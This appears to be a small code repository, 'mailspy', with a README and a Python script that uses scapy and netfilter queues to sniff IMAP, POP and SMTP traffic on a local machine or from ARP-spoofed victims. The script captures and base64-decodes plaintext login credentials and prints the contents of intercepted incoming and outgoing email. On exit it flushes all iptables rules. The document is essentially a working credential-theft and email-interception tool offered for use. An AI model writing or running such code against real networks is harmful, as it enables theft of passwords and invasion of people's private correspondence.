├── README.md └── mailspy.py /README.md: -------------------------------------------------------------------------------- 1 | mailspy 2 | ======= 3 | 4 | Catch IMAP/POP passwords and see incoming and outgoing messages 5 | 6 | NOTE: This has only been tested using Bluehost's mail servers, no others and I would imagine there's some significant differences between them 7 | -------------------------------------------------------------------------------- /mailspy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #Note: this script only tested with bluehost IMAP and POP connections, no other email provider so probably different headers for different clients 4 | 5 | from scapy.all import * 6 | conf.verb=0 7 | #Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server 8 | conf.checkIPaddr=0 9 | import os 10 | import nfqueue 11 | import base64 12 | 13 | W = '\033[0m' # white (normal) 14 | R = '\033[31m' # red 15 | G = '\033[32m' # green 16 | O = '\033[33m' # orange 17 | B = '\033[34m' # blue 18 | P = '\033[35m' # purple 19 | C = '\033[36m' # cyan 20 | GR = '\033[37m' # gray 21 | T = '\033[93m' # tan 22 | 23 | #These two below are for testing on the local machine 24 | os.system('/sbin/iptables -A OUTPUT -p tcp -j NFQUEUE') 25 | os.system('/sbin/iptables -A INPUT -p tcp -j NFQUEUE') 26 | #This is for spoofed victims 27 | #os.system('/sbin/iptables -A FORWARD -p tcp -j NFQUEUE') 28 | 29 | #victimIP is the local IP when testing the script on a local machine 30 | victimIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] 31 | #victimIP = raw_input('Type the spoofed client\'s IP:') 32 | IMAPauth = 0 33 | IMAPdest = '' 34 | POPauth = 0 35 | POPdest = '' 36 | headersFound = [] 37 | 38 | def cb(payload): 39 | global headersFound 40 | pkt = IP(payload.get_data()) 41 | if pkt.haslayer(TCP) and pkt.haslayer(Raw): 42 | dport = pkt[TCP].dport 43 | sport = pkt[TCP].sport 44 | mail_ports = [143, 110, 26] 45 | if dport in mail_ports or sport in mail_ports: 46 | load = repr(pkt[Raw].load) 47 | try: 48 | headers, body = load.split(r"\r\n\r\n", 1) 49 | except: 50 | headers = load 51 | body = '' 52 | header_lines = headers.split(r"\r\n") 53 | email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: '] 54 | # FIND PASSWORDS 55 | if dport in [110, 143, 26]: 56 | passwords(pkt, load, dport) 57 | # Find OUTGOING messages 58 | if dport == 26: 59 | outgoing(load, body, header_lines, email_headers) 60 | # Find INCOMING msgs 61 | if sport in [110, 143]: 62 | incoming(headers, body, header_lines, email_headers) 63 | 64 | def passwords(pkt, load, dport): 65 | global IMAPdest, IMAPauth, POPdest, POPauth 66 | if dport == 143: 67 | if IMAPauth == 1 and pkt[IP].src == victimIP and pkt[IP].dst == IMAPdest: 68 | print R,'IMAP user and pass found:',load,W 69 | decode(load, dport) 70 | IMAPauth = 0 71 | IMAPdest = '' 72 | if "authenticate plain" in load: 73 | IMAPauth = 1 74 | IMAPdest = pkt[IP].dst 75 | if dport == 110: 76 | if POPauth == 1 and pkt[IP].src == victimIP and pkt[IP].dst == POPdest: 77 | print R,'POP user and pass found:',load,W 78 | decode(load, dport) 79 | POPauth = 0 80 | POPdest = '' 81 | if "AUTH PLAIN" in load: 82 | POPauth = 1 83 | POPdest = pkt[IP].dst 84 | if dport == 26: 85 | if 'AUTH PLAIN ' in load: 86 | print R,'POP authentication found:',load,W 87 | decode(load, dport) 88 | 89 | def outgoing(headers, body, header_lines, email_headers): 90 | global headersFound 91 | if 'Message-ID' in headers: 92 | for l in header_lines: 93 | for x in email_headers: 94 | if x in l: 95 | headersFound.append(l) 96 | if len(headersFound) > 3: 97 | print O,'[!] OUTGOING MESSAGE',W 98 | for x in headersFound: 99 | print O,' ',x,W 100 | headersFound = [] 101 | if body != '': 102 | print O,' Message:',body,W 103 | 104 | def incoming(headers, body, header_lines, email_headers): 105 | global headersFound 106 | if 'FETCH' not in headers: 107 | for l in header_lines: 108 | for x in email_headers: 109 | if x in l: 110 | headersFound.append(l) 111 | if len(headersFound) > 3: 112 | print O,'[!] INCOMING MESSAGE',W 113 | for x in headersFound: 114 | print O,' ',x,W 115 | headersFound = [] 116 | if body != '': 117 | try: 118 | beginning = body.split(r"\r\n")[0] 119 | message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1).replace("'", "", 1) 120 | message = message.split(beginning)[0] 121 | print O,' Message:', message,W 122 | except: 123 | print O,' Couldn\'t format message body:', body,W 124 | 125 | def decode(load, dport): 126 | if dport == 26: 127 | try: 128 | b64str = load.replace("'AUTH PLAIN ", "").replace(r"\r\n'", "") 129 | b64decode = base64.b64decode(b64str) 130 | print R,' POP user and pass decoded:',b64decode,W 131 | except: 132 | pass 133 | else: 134 | try: 135 | b64str = load.replace("'", "").replace(r"\r\n", '') 136 | b64decode = base64.b64decode(b64str) 137 | print R,' User and pass decoded:',b64decode,W 138 | except: 139 | pass 140 | 141 | q = nfqueue.queue() 142 | q.open() 143 | q.bind(socket.AF_INET) 144 | q.set_callback(cb) 145 | q.fast_open(0, socket.AF_INET) 146 | 147 | try: 148 | q.try_run() 149 | os.system('iptables -F') 150 | print 'Flushed iptables' 151 | q.unbind(socket.AF_INET) 152 | q.close() 153 | except KeyboardInterrupt: 154 | print 'trl-C: Exiting...' 155 | os.system('iptables -F') 156 | os.system('iptables -t nat -F') 157 | q.unbind(socket.AF_INET) 158 | q.close() 159 | 160 | --------------------------------------------------------------------------------